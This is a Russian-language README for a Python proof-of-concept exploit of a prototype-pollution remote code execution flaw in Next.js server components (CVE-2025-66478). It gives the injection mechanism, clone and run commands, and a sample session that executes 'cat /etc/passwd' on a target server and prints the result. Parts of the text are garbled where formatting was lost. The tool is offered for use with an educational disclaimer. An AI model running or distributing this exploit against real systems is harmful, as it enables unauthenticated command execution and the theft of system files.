
React2Shell (CVE-2025-66478): Python-based Proof of Concept для критической удалённой выполняемости кода (RCE) в серверных компонентах Next.js. Включает интерактивный CLI, инъекцию произвольных payloads и улучшенное форматирование вывода. Только для образовательных исследований.
Удаленное выполнение кода (RCE) в Next.js через загрязнение прототипа в серверных компонентах
Этот репозиторий содержит доказательство концепции (PoC) для CVE-2025-66478 (также упоминается как CVE-2025-55182 в некоторых контекстах) — критической уязвимости, затрагивающей приложения Next.js, использующие определенные версии React Server Components (RSC).
Манипулируя процессом сериализации RSC, неаутентифицированный злоумышленник может внедрить вредоносную нагрузку через загрязнение прототипа (__proto__:then). Это может привести к выполнению произвольных системных команд на сервере через child_process.execSync.
Разработано: ArkhamKnight47
multipart/form-data.1:E{"digest":...}).\n vs \r\n) для чистого вывода на Windows и Linux.requests# Клонировать репозиторий
git clone https://github.com/RavinduRathnayaka/CVE-2025-55182-PoC.git
cd CVE-2025-55182-PoC
# Установить зависимости
pip install requests
python CVE-2025-66478.py
Вас попросят указать:
http://localhost:3000id, whoami, cat /etc/passwd[?] ЦЕЛЕВОЙ URL > http://192.168.1.5:3000
[?] КОМАНДА > cat /etc/passwd
[*] ВЫПОЛНЕНИЕ ЭКСПЛОЙТА...
[+] НАГРУЗКА УСПЕШНА. ВЫВОД НИЖЕ:
============================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
============================================================
Этот инструмент предоставляется только для образовательных целей и исследований в области безопасности.
Автор (ArkhamKnight47) не несет ответственности за неправомерное использование данного кода. Тестирование этого эксплойта на системах, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным.
Используйте ответственно. Учитесь этично. Обеспечьте безопасность своего стека.